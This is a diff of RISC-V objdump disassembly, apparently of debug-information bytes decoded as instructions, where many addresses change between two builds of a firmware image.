      1a6:	0704                	addi	s1,sp,896
-     1a8:	184a                	slli	a6,a6,0x32
+     1a8:	183c                	addi	a5,sp,56
      1aa:	0000                	unimp
      1ac:	0404                	addi	s1,sp,512
      1ae:	0404                	addi	s1,sp,512
-     1b0:	05270403          	lb	s0,82(a4)
-     1b4:	b702                	fsd	ft0,424(sp)
-     1b6:	002d                	c.nop	11
+     1b0:	05280403          	lb	s0,82(a6) # ffff9052 <_heap_end+0x7ffea852>
+     1b4:	b102                	fsd	ft0,160(sp)
+     1b6:	0026                	c.slli	zero,0x9
      1b8:	0300                	addi	s0,sp,384
-     1ba:	0604                	addi	s1,sp,768
-     1bc:	00197607          	0x197607
+     1ba:	0a04                	addi	s1,sp,272
+     1bc:	00196807          	0x196807
      1c0:	0300                	addi	s0,sp,384
-     1c2:	130e                	slli	t1,t1,0x23
-     1c4:	0017c007          	flq	ft0,1(a5) # 10001 <__stack_size+0xf801>
+     1c2:	140e                	slli	s0,s0,0x23
+     1c4:	0017b207          	fld	ft4,1(a5)
      1c8:	0400                	addi	s0,sp,512
-     1ca:	00198c07          	0x198c07
+     1ca:	00197e07          	0x197e07
      1ce:	0400                	addi	s0,sp,512
      1d0:	0304                	addi	s1,sp,384
-     1d2:	0705                	addi	a4,a4,1
-     1d4:	001ea607          	flw	fa2,1(t4) # ffffc001 <_heap_end+0x7ffed801>
+     1d2:	0505                	addi	a0,a0,1
+     1d4:	001e9807          	0x1e9807
      1d8:	0300                	addi	s0,sp,384
-     1da:	1311                	addi	t1,t1,-28
-     1dc:	0017c007          	flq	ft0,1(a5)
+     1da:	1411                	addi	s0,s0,-28
+     1dc:	0017b207          	fld	ft4,1(a5)
      1e0:	0400                	addi	s0,sp,512
-     1e2:	05281803          	lh	a6,82(a6)
-     1e6:	031e                	slli	t1,t1,0x7
+     1e2:	05291803          	lh	a6,82(s2)
+     1e6:	aa1e                	fsd	ft7,272(sp)
      1e8:	0092                	slli	ra,ra,0x4
      1ea:	0400                	addi	s0,sp,512
-     1ec:	2901af03          	lw	t5,656(gp) # 8000e300 <__global_pointer$+0x290>
+     1ec:	2a01af03          	lw	t5,672(gp) # 8000e300 <_end+0x120>
      1f0:	0d05                	addi	s10,s10,1
-     1f2:	2856                	fld	fa6,336(sp)
+     1f2:	291a                	fld	fs2,384(sp)
      1f4:	0000                	unimp
      1f6:	0404                	addi	s1,sp,512
-     1f8:	07050603          	lb	a2,112(a0)
-     1fc:	1ebc                	addi	a5,sp,888
+     1f8:	07060603          	lb	a2,112(a2)
+     1fc:	1eae                	slli	t4,t4,0x2b
      1fe:	0000                	unimp
-     200:	07132403          	lw	s0,113(t1)
-     204:	17c0                	addi	s0,sp,996
+     200:	07142403          	lw	s0,113(s0)
+     204:	17b2                	slli	a5,a5,0x2c
      206:	0000                	unimp
      208:	0504                	addi	s1,sp,640
-     20a:	0097a127          	fsw	fs1,2(a5)
+     20a:	00985027          	0x985027
      20e:	0300                	addi	s0,sp,384
-     210:	2a28                	fld	fa0,80(a2)
-     212:	001ed807          	0x1ed807
+     210:	2b28                	fld	fa0,80(a4)
+     212:	001eca07          	flq	fs4,1(t4)
      216:	0400                	addi	s0,sp,512
-     218:	001ee807          	0x1ee807
+     218:	001eda07          	0x1eda07
      21c:	0300                	addi	s0,sp,384
-     21e:	f8072b4f          	fnmadd.s	fs6,fa4,ft0,ft11,rdn
+     21e:	ea072c4f          	fnmadd.d	fs8,fa4,ft0,ft9,rdn
      222:	001e                	c.slli	zero,0x7
      224:	0400                	addi	s0,sp,512
-     226:	001f0e07          	0x1f0e07
+     226:	001f0007          	0x1f0007
      22a:	0400                	addi	s0,sp,512
-     22c:	05080703          	lb	a4,80(a6)
-     230:	aa08                	fsd	fa0,16(a2)
+     22c:	05070703          	lb	a4,80(a4) # 18050 <__stack_size+0x17850>
+     230:	3208                	fld	fa0,32(a2)
      232:	0300000b          	0x300000b
-     236:	100a                	c.slli	zero,0x22
+     236:	110a                	slli	sp,sp,0x22
      238:	0704                	addi	s1,sp,896
-     23a:	2068                	fld	fa0,192(s0)
+     23a:	205a                	fld	ft0,400(sp)
      23c:	0000                	unimp
-     23e:	07131003          	lh	zero,113(t1)
-     242:	17c0                	addi	s0,sp,996
+     23e:	07141003          	lh	zero,113(s0)
+     242:	17b2                	slli	a5,a5,0x2c
      244:	0000                	unimp
      246:	0304                	addi	s1,sp,384
-     248:	2c14                	fld	fa3,24(s0)
+     248:	2d14                	fld	fa3,24(a0)
      24a:	0205                	addi	tp,tp,1
-     24c:	15be                	slli	a1,a1,0x2f
+     24c:	151e                	slli	a0,a0,0x27
      24e:	0000                	unimp
      250:	0304                	addi	s1,sp,384
-     252:	2d16                	fld	fs10,320(sp)
-     254:	00207e07          	0x207e07
+     252:	2e16                	fld	ft8,320(sp)
+     254:	00207007          	0x207007
      258:	0400                	addi	s0,sp,512
-     25a:	00209407          	0x209407
+     25a:	00208607          	0x208607
      25e:	0400                	addi	s0,sp,512
-     260:	052e0803          	lb	a6,82(t3)
-     264:	7c1e                	flw	fs8,228(sp)
-     266:	0065                	c.nop	25
+     260:	052f0803          	lb	a6,82(t5)
+     264:	0a1e                	slli	s4,s4,0x7
+     266:	0066                	c.slli	zero,0x19
      268:	0300                	addi	s0,sp,384
-     26a:	2f22                	fld	ft10,8(sp)
+     26a:	3022                	fld	ft0,40(sp)
      26c:	0605                	addi	a2,a2,1
-     26e:	07d0                	addi	a2,sp,964
+     26e:	0786                	slli	a5,a5,0x1
      270:	0000                	unimp
-     272:	032e0703          	lb	a4,50(t3)
-     276:	053001c3          	0x53001c3
-     27a:	a502                	fsd	ft0,136(sp)
-     27c:	0039                	c.nop	14
+     272:	032f0703          	lb	a4,50(t5)
+     276:	053101c3          	0x53101c3
+     27a:	9802                	jalr	a6
+     27c:	003a                	c.slli	zero,0xe
      27e:	0300                	addi	s0,sp,384
-     280:	3106                	fld	ft2,96(sp)
-     282:	0020bd07          	fld	fs10,2(ra)
+     280:	3206                	fld	ft4,96(sp)
+     282:	0020af07          	flw	ft10,2(ra) # 3001ab2 <__stack_size+0x30012b2>
      286:	0400                	addi	s0,sp,512
-     288:	00213907          	fld	fs2,2(sp)
+     288:	00212b07          	flw	fs6,2(sp)
      28c:	0400                	addi	s0,sp,512
      28e:	0604                	addi	s1,sp,768
-     290:	1108                	addi	a0,sp,160
-     292:	0016                	c.slli	zero,0x5
+     290:	6008                	flw	fa0,0(s0)
+     292:	0015                	c.nop	5
      294:	0400                	addi	s0,sp,512
-     296:	00215007          	0x215007
+     296:	00214207          	flq	ft4,2(sp)
      29a:	0400                	addi	s0,sp,512
-     29c:	07320a03          	lb	s4,115(tp) # 73 <__stack_size-0x78d>
-     2a0:	2268                	fld	fa0,192(a2)
+     29c:	07330a03          	lb	s4,115(t1)
+     2a0:	225a                	fld	ft4,400(sp)
      2a2:	0000                	unimp
      2a4:	0304                	addi	s1,sp,384
-     2a6:	0405330b          	0x405330b
-     2aa:	0c6d                	addi	s8,s8,27
-     2ac:	0000                	unimp
-     2ae:	03340703          	lb	a4,51(s0)
-     2b2:	d307350b          	0xd307350b
+     2a6:	0405340b          	0x405340b
+     2aa:	00000bfb          	0xbfb
+     2ae:	03350703          	lb	a4,51(a0)
+     2b2:	c507360b          	0xc507360b
      2b6:	0024                	addi	s1,sp,8
      2b8:	0400                	addi	s0,sp,512
      2ba:	0d05                	addi	s10,s10,1
-     2bc:	1ec6                	slli	t4,t4,0x31
+     2bc:	1efc                	addi	a5,sp,892
      2be:	0000                	unimp
      2c0:	0704                	addi	s1,sp,896
-     2c2:	2821                	jal	2da <__stack_size-0x526>
-     2c4:	0000                	unimp
-     2c6:	0504                	addi	s1,sp,640
-     2c8:	e20d                	bnez	a2,2ea <__stack_size-0x516>
-     2ca:	0025                	c.nop	9
-     2cc:	0500                	addi	s0,sp,640
-     2ce:	005a5743          	fmadd.s	fa4,fs4,ft5,ft0,unknown
-     2d2:	0500                	addi	s0,sp,640
-     2d4:	7e5d                	lui	t3,0xffff7
-     2d6:	0020                	addi	s0,sp,8
-     2d8:	0500                	addi	s0,sp,640
-     2da:	01a9                	addi	gp,gp,10
-     2dc:	9ab8                	0x9ab8
-     2de:	0000                	unimp
-     2e0:	ec05                	bnez	s0,318 <__stack_size-0x4e8>
-     2e2:	ad01                	j	8f2 <__stack_size+0xf2>
-     2e4:	0034                	addi	a3,sp,8
-     2e6:	0500                	addi	s0,sp,640
-     2e8:	01ed                	addi	gp,gp,27
-     2ea:	9d5d                	0x9d5d
-     2ec:	0000                	unimp
-     2ee:	ee05                	bnez	a2,326 <__stack_size-0x4da>
-     2f0:	0c01                	addi	s8,s8,0
-     2f2:	0079                	c.nop	30
-     2f4:	0500                	addi	s0,sp,640
-     2f6:	01f0                	addi	a2,sp,204
-     2f8:	00009243          	fmadd.s	ft4,ft1,ft0,ft0,rtz
-     2fc:	f105                	bnez	a0,21c <__stack_size-0x5e4>
-     2fe:	5d01                	li	s10,-32
-     300:	0054                	addi	a3,sp,4
-     302:	0500                	addi	s0,sp,640
-     304:	01f2                	slli	gp,gp,0x1c
-     306:	7808                	flw	fa0,48(s0)
-     308:	0000                	unimp
-     30a:	0004                	0x4
-     30c:	0004                	0x4
-     30e:	0500                	addi	s0,sp,640
-     310:	ac00                	fsd	fs0,24(s0)
-     312:	0005                	c.nop	1
-     314:	0500                	addi	s0,sp,640
-     316:	e700                	fsw	fs0,8(a4)
-     318:	0074                	addi	a3,sp,12
-     31a:	0500                	addi	s0,sp,640
-     31c:	9500                	0x9500
-     31e:	009e                	slli	ra,ra,0x7
-     320:	0500                	addi	s0,sp,640
-     322:	5300                	lw	s0,32(a4)
-     324:	0015                	c.nop	5
-     326:	0500                	addi	s0,sp,640
-     328:	2600                	fld	fs0,8(a2)
-     32a:	005f 0500 be00      	0xbe000500005f
-     330:	0048                	addi	a0,sp,4
-     332:	0500                	addi	s0,sp,640
-     334:	8400                	0x8400
-     336:	009e                	slli	ra,ra,0x7
-     338:	0500                	addi	s0,sp,640
-     33a:	9f00                	0x9f00
-     33c:	00a1                	addi	ra,ra,8
-     33e:	0500                	addi	s0,sp,640
-     340:	e600                	fsw	fs0,8(a2)
-     342:	006d                	c.nop	27
-     344:	0500                	addi	s0,sp,640
-     346:	d300                	sw	s0,32(a4)
-     348:	0044                	addi	s1,sp,4
-     34a:	0500                	addi	s0,sp,640
-     34c:	d200                	sw	s0,32(a2)
-     34e:	00a0                	addi	s0,sp,72
-     350:	0500                	addi	s0,sp,640
-     352:	6000                	flw	fs0,0(s0)
-     354:	0041                	c.nop	16
-     356:	0500                	addi	s0,sp,640
-     358:	4e00                	lw	s0,24(a2)
-     35a:	0092                	slli	ra,ra,0x4
-     35c:	0500                	addi	s0,sp,640
-     35e:	3200                	fld	fs0,32(a2)
-     360:	007e                	c.slli	zero,0x1f
-     362:	0500                	addi	s0,sp,640
-     364:	4800                	lw	s0,16(s0)
-     366:	0088                	addi	a0,sp,64
-     368:	0500                	addi	s0,sp,640
-     36a:	9400                	0x9400
-     36c:	007d                	c.nop	31
-     36e:	0500                	addi	s0,sp,640
-     370:	5c00                	lw	s0,56(s0)
-     372:	007c                	addi	a5,sp,12
-     374:	0500                	addi	s0,sp,640
-     376:	2f00                	fld	fs0,24(a4)
-     378:	0074                	addi	a3,sp,12
-     37a:	0500                	addi	s0,sp,640
-     37c:	f200                	fsw	fs0,32(a2)
-     37e:	0500005b          	0x500005b
-     382:	af00                	fsd	fs0,24(a4)
-     384:	05000007          	0x5000007
-     388:	0000                	unimp
-     38a:	0500002b          	0x500002b
-     38e:	8400                	0x8400
-     390:	0084                	addi	s1,sp,64
-     392:	0500                	addi	s0,sp,640
-     394:	d000                	sw	s0,32(s0)
-     396:	0099                	addi	ra,ra,6
-     398:	0500                	addi	s0,sp,640
-     39a:	2b00                	fld	fs0,16(a4)
-     39c:	0079                	c.nop	30
-     39e:	0500                	addi	s0,sp,640
-     3a0:	d300                	sw	s0,32(a4)
-     3a2:	05000097          	auipc	ra,0x5000
-     3a6:	7500                	flw	fs0,40(a0)
-     3a8:	0028                	addi	a0,sp,8
-     3aa:	0500                	addi	s0,sp,640
-     3ac:	8900                	0x8900
-     3ae:	0056                	c.slli	zero,0x15
-     3b0:	0500                	addi	s0,sp,640
-     3b2:	5700                	lw	s0,40(a4)
-     3b4:	0011                	c.nop	4
-     3b6:	0500                	addi	s0,sp,640
-     3b8:	5900                	lw	s0,48(a0)
-     3ba:	0026                	c.slli	zero,0x9
-     3bc:	0500                	addi	s0,sp,640
-     3be:	d800                	sw	s0,48(s0)
-     3c0:	0070                	addi	a2,sp,12
-     3c2:	0500                	addi	s0,sp,640
-     3c4:	4600                	lw	s0,8(a2)
-     3c6:	0041                	c.nop	16
-     3c8:	0500                	addi	s0,sp,640
-     3ca:	1a00                	addi	s0,sp,304
-     3cc:	0031                	c.nop	12
-     3ce:	0500                	addi	s0,sp,640
-     3d0:	f600                	fsw	fs0,40(a2)
-     3d2:	0000                	unimp
-     3d4:	0500                	addi	s0,sp,640
-     3d6:	bc00                	fsd	fs0,56(s0)
-     3d8:	0065                	c.nop	25
-     3da:	0500                	addi	s0,sp,640
-     3dc:	f400                	fsw	fs0,40(s0)
-     3de:	0099                	addi	ra,ra,6
-     3e0:	0500                	addi	s0,sp,640
-     3e2:	9e00                	0x9e00
-     3e4:	0060                	addi	s0,sp,12
-     3e6:	0500                	addi	s0,sp,640
-     3e8:	2000                	fld	fs0,0(s0)
-     3ea:	0005                	c.nop	1
-     3ec:	0500                	addi	s0,sp,640
-     3ee:	a700                	fsd	fs0,8(a4)
-     3f0:	002c                	addi	a1,sp,8
-     3f2:	0500                	addi	s0,sp,640
-     3f4:	a300                	fsd	fs0,0(a4)
-     3f6:	0056                	c.slli	zero,0x15
-     3f8:	0500                	addi	s0,sp,640
-     3fa:	0f00                	addi	s0,sp,912
-     3fc:	0015                	c.nop	5
-     3fe:	0500                	addi	s0,sp,640
-     400:	6a00                	flw	fs0,16(a2)
-     402:	0500009b          	0x500009b
-     406:	0400                	addi	s0,sp,512
-     408:	0065                	c.nop	25
-     40a:	0500                	addi	s0,sp,640
-     40c:	1100                	addi	s0,sp,160
-     40e:	0011                	c.nop	4
-     410:	0500                	addi	s0,sp,640
-     412:	dc00                	sw	s0,56(s0)
-     414:	007e                	c.slli	zero,0x1f
-     416:	0500                	addi	s0,sp,640
-     418:	4500                	lw	s0,8(a0)
-     41a:	05000037          	lui	zero,0x5000
-     41e:	4d00                	lw	s0,24(a0)
-     420:	0050                	addi	a2,sp,4
-     422:	0500                	addi	s0,sp,640
-     424:	d500                	sw	s0,40(a0)
-     426:	0500008f          	0x500008f
-     42a:	2a00                	fld	fs0,16(a2)
-     42c:	0014                	0x14
-     42e:	0500                	addi	s0,sp,640
-     430:	3200                	fld	fs0,32(a2)
-     432:	0016                	c.slli	zero,0x5
-     434:	0500                	addi	s0,sp,640
-     436:	5800                	lw	s0,48(s0)
-     438:	0024                	addi	s1,sp,8
-     43a:	0500                	addi	s0,sp,640
-     43c:	9100                	0x9100
-     43e:	0006                	c.slli	zero,0x1
-     440:	0500                	addi	s0,sp,640
-     442:	0700                	addi	s0,sp,896
-     444:	0500004b          	0x500004b
-     448:	8000                	0x8000
-     44a:	0088                	addi	a0,sp,64
-     44c:	0500                	addi	s0,sp,640
-     44e:	7400                	flw	fs0,40(s0)
-     450:	00a0                	addi	s0,sp,72
-     452:	0500                	addi	s0,sp,640
-     454:	3100                	fld	fs0,32(a0)
-     456:	0012                	c.slli	zero,0x4
-     458:	0500                	addi	s0,sp,640
-     45a:	7d00                	flw	fs0,56(a0)
-     45c:	009a                	slli	ra,ra,0x6
-     45e:	0500                	addi	s0,sp,640
-     460:	d900                	sw	s0,48(a0)
-     462:	009e                	slli	ra,ra,0x7
-     464:	0500                	addi	s0,sp,640
-     466:	a000                	fsd	fs0,0(s0)
-     468:	008c                	addi	a1,sp,64
-     46a:	0500                	addi	s0,sp,640
-     46c:	9f00                	0x9f00
-     46e:	0088                	addi	a0,sp,64
-     470:	0500                	addi	s0,sp,640
-     472:	a400                	fsd	fs0,8(s0)
-     474:	005e                	c.slli	zero,0x17
-     476:	0500                	addi	s0,sp,640
-     478:	de00                	sw	s0,56(a2)
-     47a:	0048                	addi	a0,sp,4
-     47c:	0500                	addi	s0,sp,640
-     47e:	c900                	sw	s0,16(a0)
-     480:	0080                	addi	s0,sp,64
-     482:	0500                	addi	s0,sp,640
-     484:	bf00                	fsd	fs0,56(a4)
-     486:	0041                	c.nop	16
-     488:	0500                	addi	s0,sp,640
-     48a:	f400                	fsw	fs0,40(s0)
-     48c:	0500001b          	0x500001b
-     490:	8e00                	0x8e00
-     492:	0500000f          	fence	ow,unknown
-     496:	4f00                	lw	s0,24(a4)
-     498:	0071                	c.nop	28
-     49a:	0500                	addi	s0,sp,640
-     49c:	a800                	fsd	fs0,16(s0)
-     49e:	004e                	c.slli	zero,0x13
-     4a0:	0500                	addi	s0,sp,640
-     4a2:	2500                	fld	fs0,8(a0)
-     4a4:	05000033          	0x5000033
-     4a8:	ed00                	fsw	fs0,24(a0)
-     4aa:	009c                	addi	a5,sp,64
-     4ac:	0500                	addi	s0,sp,640
-     4ae:	f000                	fsw	fs0,32(s0)
-     4b0:	004a                	c.slli	zero,0x12
-     4b2:	0500                	addi	s0,sp,640
-     4b4:	9400                	0x9400
-     4b6:	0500003b          	0x500003b
-     4ba:	3300                	fld	fs0,32(a4)
-     4bc:	000d                	c.nop	3
-     4be:	0500                	addi	s0,sp,640
-     4c0:	c700                	sw	s0,8(a4)
-     4c2:	004a                	c.slli	zero,0x12
-     4c4:	0500                	addi	s0,sp,640
-     4c6:	9200                	0x9200
-     4c8:	0030                	addi	a2,sp,8
-     4ca:	0500                	addi	s0,sp,640
-     4cc:	2e00                	fld	fs0,24(a2)
-     4ce:	0069                	c.nop	26
-     4d0:	0500                	addi	s0,sp,640
-     4d2:	8800                	0x8800
-     4d4:	0068                	addi	a0,sp,12
-     4d6:	0500                	addi	s0,sp,640
-     4d8:	eb00                	fsw	fs0,16(a4)
-     4da:	0009                	c.nop	2
-     4dc:	0500                	addi	s0,sp,640
-     4de:	1700                	addi	s0,sp,928
-     4e0:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-     4e4:	4f00                	lw	s0,24(a4)
-     4e6:	004c                	addi	a1,sp,4
-     4e8:	0500                	addi	s0,sp,640
-     4ea:	5600                	lw	s0,40(a2)
-     4ec:	0004                	0x4
-     4ee:	0500                	addi	s0,sp,640
-     4f0:	2c00                	fld	fs0,24(s0)
-     4f2:	0056                	c.slli	zero,0x15
-     4f4:	0500                	addi	s0,sp,640
-     4f6:	1e00                	addi	s0,sp,816
-     4f8:	0041                	c.nop	16
-     4fa:	0500                	addi	s0,sp,640
-     4fc:	9b00                	0x9b00
-     4fe:	0008                	0x8
-     500:	0500                	addi	s0,sp,640
-     502:	cf00                	sw	s0,24(a4)
-     504:	0034                	addi	a3,sp,8
-     506:	0500                	addi	s0,sp,640
-     508:	1f00                	addi	s0,sp,944
-     50a:	007c                	addi	a5,sp,12
-     50c:	0500                	addi	s0,sp,640
-     50e:	3a00                	fld	fs0,48(a2)
-     510:	0500006b          	0x500006b
-     514:	3100                	fld	fs0,32(a0)
-     516:	0062                	c.slli	zero,0x18
-     518:	0500                	addi	s0,sp,640
-     51a:	ce00                	sw	s0,24(a2)
-     51c:	0042                	c.slli	zero,0x10
-     51e:	0500                	addi	s0,sp,640
-     520:	6700                	flw	fs0,8(a4)
-     522:	0022                	c.slli	zero,0x8
-     524:	0500                	addi	s0,sp,640
-     526:	ba00                	fsd	fs0,48(a2)
-     528:	05000027          	0x5000027
-     52c:	3a00                	fld	fs0,48(a2)
-     52e:	0500007b          	0x500007b
-     532:	7200                	flw	fs0,32(a2)
-     534:	004e                	c.slli	zero,0x13
-     536:	0500                	addi	s0,sp,640
-     538:	c300                	sw	s0,0(a4)
-     53a:	0032                	c.slli	zero,0xc
-     53c:	0500                	addi	s0,sp,640
-     53e:	4e00                	lw	s0,24(a2)
-     540:	005f 0500 c900      	0xc9000500005f
-     546:	05000043          	0x5000043
-     54a:	a600                	fsd	fs0,8(a2)
-     54c:	0078                	addi	a4,sp,12
-     54e:	0500                	addi	s0,sp,640
-     550:	8000                	0x8000
-     552:	0071                	c.nop	28
-     554:	0500                	addi	s0,sp,640
-     556:	8800                	0x8800
-     558:	0500006f          	j	5a8 <__stack_size-0x258>
-     55c:	7300                	flw	fs0,32(a4)
-     55e:	004c                	addi	a1,sp,4
-     560:	0500                	addi	s0,sp,640
-     562:	9200                	0x9200
-     564:	002d                	c.nop	11
-     566:	0500                	addi	s0,sp,640
-     568:	7000                	flw	fs0,32(s0)
-     56a:	0011                	c.nop	4
-     56c:	0500                	addi	s0,sp,640
-     56e:	dc00                	sw	s0,56(s0)
-     570:	005f 0500 2000      	0x20000500005f
-     576:	0085                	addi	ra,ra,1
-     578:	0500                	addi	s0,sp,640
-     57a:	eb00                	fsw	fs0,16(a4)
-     57c:	05000093          	li	ra,80
-     580:	e500                	fsw	fs0,8(a0)
-     582:	00a0                	addi	s0,sp,72
-     584:	0500                	addi	s0,sp,640
-     586:	e200                	fsw	fs0,0(a2)
-     588:	0500000f          	fence	ow,unknown
-     58c:	be00                	fsd	fs0,56(a2)
-     58e:	0030                	addi	a2,sp,8
-     590:	0500                	addi	s0,sp,640
-     592:	9500                	0x9500
-     594:	0019                	c.nop	6
-     596:	0500                	addi	s0,sp,640
-     598:	a700                	fsd	fs0,8(a4)
-     59a:	0048                	addi	a0,sp,4
-     59c:	0500                	addi	s0,sp,640
-     59e:	6500                	flw	fs0,8(a0)
-     5a0:	0015                	c.nop	5
-     5a2:	0500                	addi	s0,sp,640
-     5a4:	fb00                	fsw	fs0,48(a4)
-     5a6:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-     5aa:	3300                	fld	fs0,32(a4)
-     5ac:	0036                	c.slli	zero,0xd
-     5ae:	0500                	addi	s0,sp,640
-     5b0:	8500                	0x8500
-     5b2:	004c                	addi	a1,sp,4
-     5b4:	0500                	addi	s0,sp,640
-     5b6:	9600                	0x9600
-     5b8:	05000053          	0x5000053
-     5bc:	4100                	lw	s0,0(a0)
-     5be:	0049                	c.nop	18
-     5c0:	0500                	addi	s0,sp,640
-     5c2:	5800                	lw	s0,48(s0)
-     5c4:	0042                	c.slli	zero,0x10
-     5c6:	0500                	addi	s0,sp,640
-     5c8:	9900                	0x9900
-     5ca:	0075                	c.nop	29
-     5cc:	0500                	addi	s0,sp,640
-     5ce:	2400                	fld	fs0,8(s0)
-     5d0:	0044                	addi	s1,sp,4
-     5d2:	0500                	addi	s0,sp,640
-     5d4:	8300                	0x8300
-     5d6:	008d                	addi	ra,ra,3
-     5d8:	0500                	addi	s0,sp,640
-     5da:	ad00                	fsd	fs0,24(a0)
-     5dc:	0024                	addi	s1,sp,8
-     5de:	0500                	addi	s0,sp,640
-     5e0:	9e00                	0x9e00
-     5e2:	05000027          	0x5000027
-     5e6:	1700                	addi	s0,sp,928
-     5e8:	0012                	c.slli	zero,0x4
-     5ea:	0500                	addi	s0,sp,640
-     5ec:	9200                	0x9200
-     5ee:	0070                	addi	a2,sp,12
-     5f0:	0500                	addi	s0,sp,640
-     5f2:	b800                	fsd	fs0,48(s0)
-     5f4:	0042                	c.slli	zero,0x10
-     5f6:	0500                	addi	s0,sp,640
-     5f8:	2d00                	fld	fs0,24(a0)
-     5fa:	0029                	c.nop	10
-     5fc:	0500                	addi	s0,sp,640
-     5fe:	4100                	lw	s0,0(a0)
-     600:	0031                	c.nop	12
-     602:	0500                	addi	s0,sp,640
-     604:	1700                	addi	s0,sp,928
-     606:	0020                	addi	s0,sp,8
-     608:	0500                	addi	s0,sp,640
-     60a:	7800                	flw	fs0,48(s0)
-     60c:	003c                	addi	a5,sp,8
-     60e:	0500                	addi	s0,sp,640
-     610:	6b00                	flw	fs0,16(a4)
-     612:	0002                	c.slli64	zero
-     614:	0500                	addi	s0,sp,640
-     616:	3100                	fld	fs0,32(a0)
-     618:	0009                	c.nop	2
-     61a:	0500                	addi	s0,sp,640
-     61c:	a400                	fsd	fs0,8(s0)
-     61e:	0076                	c.slli	zero,0x1d
-     620:	0500                	addi	s0,sp,640
-     622:	a700                	fsd	fs0,8(a4)
-     624:	0041                	c.nop	16
-     626:	0500                	addi	s0,sp,640
-     628:	3800                	fld	fs0,48(s0)
-     62a:	0500000f          	fence	ow,unknown
-     62e:	c700                	sw	s0,8(a4)
-     630:	003a                	c.slli	zero,0xe
-     632:	0500                	addi	s0,sp,640
-     634:	8800                	0x8800
-     636:	0050                	addi	a2,sp,4
-     638:	0500                	addi	s0,sp,640
-     63a:	8800                	0x8800
-     63c:	004e                	c.slli	zero,0x13
-     63e:	0500                	addi	s0,sp,640
-     640:	3f00                	fld	fs0,56(a4)
-     642:	0079                	c.nop	30
-     644:	0500                	addi	s0,sp,640
-     646:	2000                	fld	fs0,0(s0)
-     648:	009f 0500 b000      	0xb0000500009f
-     64e:	0059                	c.nop	22
-     650:	0500                	addi	s0,sp,640
-     652:	8900                	0x8900
-     654:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-     658:	a000                	fsd	fs0,0(s0)
-     65a:	05000087          	0x5000087
-     65e:	5a00                	lw	s0,48(a2)
-     660:	0046                	c.slli	zero,0x11
-     662:	0500                	addi	s0,sp,640
-     664:	0c00                	addi	s0,sp,528
-     666:	001e                	c.slli	zero,0x7
-     668:	0500                	addi	s0,sp,640
-     66a:	d600                	sw	s0,40(a2)
-     66c:	0500004b          	0x500004b
-     670:	9a00                	0x9a00
-     672:	0032                	c.slli	zero,0xc
-     674:	0500                	addi	s0,sp,640
-     676:	5500                	lw	s0,40(a0)
-     678:	0096                	slli	ra,ra,0x5
-     67a:	0500                	addi	s0,sp,640
-     67c:	3900                	fld	fs0,48(a0)
-     67e:	05000033          	0x5000033
-     682:	c300                	sw	s0,0(a4)
-     684:	002d                	c.nop	11
-     686:	0500                	addi	s0,sp,640
-     688:	3200                	fld	fs0,32(a2)
-     68a:	05000027          	0x5000027
-     68e:	e700                	fsw	fs0,8(a4)
-     690:	0030                	addi	a2,sp,8
-     692:	0500                	addi	s0,sp,640
-     694:	aa00                	fsd	fs0,16(a2)
-     696:	0021                	c.nop	8
-     698:	0500                	addi	s0,sp,640
-     69a:	cf00                	sw	s0,24(a4)
-     69c:	001a                	c.slli	zero,0x6
-     69e:	0500                	addi	s0,sp,640
-     6a0:	dd00                	sw	s0,56(a0)
-     6a2:	0076                	c.slli	zero,0x1d
+     2c2:	00002813          	slti	a6,zero,0
+     2c6:	0304                	addi	s1,sp,384
+     2c8:	080d                	addi	a6,a6,3
+     2ca:	0205                	addi	tp,tp,1
+     2cc:	3aca                	fld	fs5,176(sp)
+     2ce:	0000                	unimp
+     2d0:	05040903          	lb	s2,80(s0)
+     2d4:	d602                	sw	zero,44(sp)
+     2d6:	0050                	addi	a2,sp,4
+     2d8:	0300                	addi	s0,sp,384
+     2da:	1405                	addi	s0,s0,-31
+     2dc:	0704                	addi	s1,sp,896
+     2de:	00002933          	sltz	s2,zero
+     2e2:	0504                	addi	s1,sp,640
+     2e4:	001cb50b          	0x1cb50b
+     2e8:	0400                	addi	s0,sp,512
+     2ea:	0f05                	addi	t5,t5,1
+     2ec:	0000269b          	0x269b
+     2f0:	4505                	li	a0,1
+     2f2:	00005b73          	csrrwi	s6,ustatus,0
+     2f6:	5f05                	li	t5,-31
+     2f8:	2112                	fld	ft2,256(sp)
+     2fa:	0000                	unimp
+     2fc:	0004                	0x4
+     2fe:	0004                	0x4
+     300:	0500                	addi	s0,sp,640
+     302:	2200                	fld	fs0,0(a2)
+     304:	0005                	c.nop	1
+     306:	0500                	addi	s0,sp,640
+     308:	8200                	0x8200
+     30a:	0075                	c.nop	29
+     30c:	0500                	addi	s0,sp,640
+     30e:	f700                	fsw	fs0,40(a4)
+     310:	009e                	slli	ra,ra,0x7
+     312:	0500                	addi	s0,sp,640
+     314:	ba00                	fsd	fs0,48(a2)
+     316:	0014                	0x14
+     318:	0500                	addi	s0,sp,640
+     31a:	3200                	fld	fs0,32(a2)
+     31c:	0060                	addi	s0,sp,12
+     31e:	0500                	addi	s0,sp,640
+     320:	db00                	sw	s0,48(a4)
+     322:	0049                	c.nop	18
+     324:	0500                	addi	s0,sp,640
+     326:	e600                	fsw	fs0,8(a2)
+     328:	009e                	slli	ra,ra,0x7
+     32a:	0500                	addi	s0,sp,640
+     32c:	b800                	fsd	fs0,48(s0)
+     32e:	00a1                	addi	ra,ra,8
+     330:	0500                	addi	s0,sp,640
+     332:	7f00                	flw	fs0,56(a4)
+     334:	006e                	c.slli	zero,0x1b
+     336:	0500                	addi	s0,sp,640
+     338:	d400                	sw	s0,40(s0)
+     33a:	0045                	c.nop	17
+     33c:	0500                	addi	s0,sp,640
+     33e:	7100                	flw	fs0,32(a0)
+     340:	001a                	c.slli	zero,0x6
+     342:	0500                	addi	s0,sp,640
+     344:	6b00                	flw	fs0,16(a4)
+     346:	0042                	c.slli	zero,0x10
+     348:	0500                	addi	s0,sp,640
+     34a:	ea00                	fsw	fs0,16(a2)
+     34c:	0092                	slli	ra,ra,0x4
+     34e:	0500                	addi	s0,sp,640
+     350:	b500                	fsd	fs0,40(a0)
+     352:	007e                	c.slli	zero,0x1f
+     354:	0500                	addi	s0,sp,640
+     356:	eb00                	fsw	fs0,16(a4)
+     358:	0088                	addi	a0,sp,64
+     35a:	0500                	addi	s0,sp,640
+     35c:	1700                	addi	s0,sp,928
+     35e:	007e                	c.slli	zero,0x1f
+     360:	0500                	addi	s0,sp,640
